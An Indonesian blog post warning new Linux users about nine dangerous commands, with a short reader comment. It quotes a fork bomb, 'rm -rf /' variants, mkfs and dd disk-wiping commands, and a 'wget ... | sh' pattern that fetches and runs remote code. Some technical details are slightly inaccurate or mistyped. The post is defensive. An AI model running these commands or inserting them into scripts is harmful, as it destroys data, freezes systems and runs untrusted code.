Dalam beberapa kasus, Linux memang menjalankan perintah secara langsung tanpa meminta konfirmasi terlebih dulu kepada user, di mana hal tersebut sering menyebabkan kehilangan data-data terpenting dan berharga yang Anda miliki, serta informasi yang tersimpan dalam file dan folder tersebut.
Sebenarnya ini menjadi hal yang sangat umum bagi para pengguna baru yang mencari informasi online pada konten atau artikel di web terkait perintah maupun kode pada Linux mereka, di mana pada konten web tersebut merekomendasikan pengguna baru Linux untuk menjalankan perintah tersebut.
Tanpa disadari, pengguna baru Linux yang memasukkan kode maupun perintah yang didapatkannya dari konten web tadi ternyata membahayakan sistem Linux mereka. Sungguh sangat tragis melihat kasus tersebut terjadi pada pengguna baru.
Kami telah mengumpulkan beberapa perintah Linux yang cukup berbahaya bagi sistem Anda untuk membantu Anda menghindari kejadian seperti kasus di atas.
Perlu diingat bahwa perintah-perintah berikut ini memang sangat berbahaya dan bahkan dapat diubah dalam berbagai cara untuk menghasilkan perintah baru yang dapat menimbulkan kerusakan yang lebih parah.
Sebuah hal penting yang perlu diperhatikan adalah bahwa beberapa perintah ini hanya berbahaya jika perintah tersebut diterapkan pada sudo di Ubuntu. Sedangkan pada distro lain dari Linux, sebagian besar perintah yang diberikan akan sangat berbahaya untuk mengeksekusi sebagai sistem root.
Berikut 9 kode dan perintah Linux yang berbahaya dan harus Anda hindari.
1. Perintah "Fork Bomb"
:(){ :|: & };: - juga dikenal sebagai "Fork Bomb" yang merupakan penolakan serangan layanan terhadap sistem Linux.:(){ :|: & };: merupakan fungsi bash. Setelah dieksekusi, perintah tersebut mengulang beberapa kali dengan sendirinya sampai sistem membeku.
Satu-satunya cara untuk menghentikan perintah tersebut ialah dengan cara me-restart sistem Linux Anda. Jadi, berhati-hatilah ketika menjalankan perintah ini pada Linux shell Anda.
2. Perintah Rm -Rf
Perintah rm -Rf adalah cara tercepat untuk menghapus folder beserta isinya dalam sistem operasi Linux. Jika Anda tidak tahu cara menggunakannya dengan benar, maka dampaknya bisa menjadi sangat berbahaya bagi sistem. Kombinasi yang paling umum dan opsi yang digunakan dengan perintah Rm -Rf tercantum di bawah ini:- rm command digunakan untuk menghapus file-file dalam sistem Linux
- rm -f command digunakan untuk menghilangkan file read-only dalam folder secara langsung tanpa konfirmasi terlebih dulu.
- rm -r command digunakan untuk menghapus isi dari folder secara rekursif
- rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
- rm -rf/ command digunakan untuk penghapusan data secara paksa (akan menghapus bahkan pada file terproteksi sekalipun) dari semua isi direktori root maupun sub folder.
- rm -rf* command digunakan untuk penghapusan secara paksa terhadap semua konten dalam direktori saat ini (bahkan di dalam direktori saat ini Anda gunakan) dan sub foldernya.
- rm -rf. command digunakan untuk penghapusan paksa semua konten dalam folder saat ini dan subfolder. Perintah rm -r.[^.]* juga dapat digunakan, karena fungsinya sama
- rm -i command digunakan untuk menghilangkan file dan folder dengan konfirmasi yang nantinya akan muncul sebelum penghapusan dilakukan.
3. Perintah mv folder/dev/null
Perintah mv folder/dev/null ini juga sangat berbahaya bagi sistem Linux Anda. Dev/null atau null device merupakan file perangkat yang menghapus semua data yang tertulis di atasnya, tetapi nantinya akan muncul laporan palsu yang mengatakan bahwa operasi penulisan dijalankan dengan sukses. Hal ini dikenal sebagai bitbucket atau black hole.4. Perintah mkfs
mkfs bisa menjadi perintah yang sangat berbahaya bagi sistem Linux Anda jika tidak mengerti tujuan penggunaannya. Apa pun yang ditulis setelah menerapkan perintah mkfs ini akan diformat dan diganti dengan sistem file Linux kosong.Semua perintah yang disebutkan di bawah ini akan memformat hard drive dan memerlukan izin hak administrator pada sistem, antara lain:
- mkfs
- mkfs.ext3
- mkfs.bfs
- mkfs.ext2
- mkfs.minix
- mkfs.msdos
- mkfs.reiserfs
- mkfs.vfat
Adapun perintah mkfs.cramfs ini akan melakukan hal yang sama seperti di atas, tetapi perintah ini tidak memerlukan izin hak administrator untuk mengeksekusinya.
5. Perintah Tar Bomb
Anda dapat menghindarinya dengan membuat direktori pelindung baru secara teratur setiap kali Anda menerima file .tar dan kemudian memindahkan file .tar yang diterima tersebut ke direktori saat ini sebelum di ekstrak.
Jika file tar tersebut memang bom tar, maka Anda dapat menghapus direktori yang baru dibuat untuk menyingkirkannya. Cara lain untuk menghindari ledakan bom tar adalah melalui opsi perintah -t untuk membuat daftar semua isi dari file tar dan memberikan gambaran tentang jenis konten yang terdapat dalam file tar tersebut.
6. Perintah dd
Perintah dd digunakan untuk menyalin dan mengkonversi partisi hard disk. Namun, perintah ini juga dapat berubah menjadi perintah berbahaya jika Anda menetapkan tujuan yang salah.Berikut daftar perintah yang terkait:
- dd if=/dev/hda of=/dev/hdb
- dd if=/dev/hda of=/dev/sdb
- dd if=something of=/dev/hda
- dd if=something of=/dev/sda
Adapun perintah ini akan mengubah menjadi nol seluruh hard drive primer: dd if=/dev/zero of=/dev/had.
7. Kode Script Shell
Seseorang mungkin menipu Anda dengan memberikan sebuah link ke script shell, di mana link tersebut dapat mendukung sistem untuk men-download dan menjalankan file tersebut. Script shell itu mungkin saja berisi beberapa kode berbahaya bagi sistem Linux. Format perintah mungkin terlihat seperti ini: wget http://some_malicious_source -O- | sh.8. Malicious Source Code
Mungkin seseorang memberi Anda suatu source code (kode sumber) dan meminta Anda untuk mengkompilasinya ke sistem. Namun, kode tersebut mungkin tampak seperti kode biasa, namun pada kenyataannya beberapa kode berbahaya yang menyamar dalam kode sumber dan dapat menyebabkan kerusakan pada sistem Anda.Untuk menghindari serangan semacam ini, Anda cukup menerima dan mengkompilasi source code dari sumber yang terpercaya. Selain berasal dari sumber terpercaya, sebaiknya jangan diterima maupun dikompilasi ke sistem Linux Anda!
9. Dekompresi Bom
Ketika Anda telah menerima file terkompresi dan Anda dimintai untuk mengekstrak file tersebut yang ukurannya terlihat sangat kecil yang hanya beberapa kilobyte (Kb). Namun, jangan dianggap sepele bahwa file kompresi yang berukuran kecil tersebut ternyata berisi data-data yang sangat sangat banyak dan padat.Setelah file didekompresi, bisa saja kemungkinan ratusan GB data diekstrak yang dapat mengisi hard drive hingga menurunkan kinerja sistem Anda. Untuk menghindari situasi ini, selalu ingat untuk menerima data dari sumber yang dapat dipercaya.
Nah, sekian informasi ini kami sampaikan. Dan terima kasih atas kunjungan Anda di blog D&G ini, tepatnya di artikel tentang 9 Kode dan Perintah Linux yang Berbahaya.
makasih infonya ini min, bermanfaat sekali...
BalasHapuspemotong sim card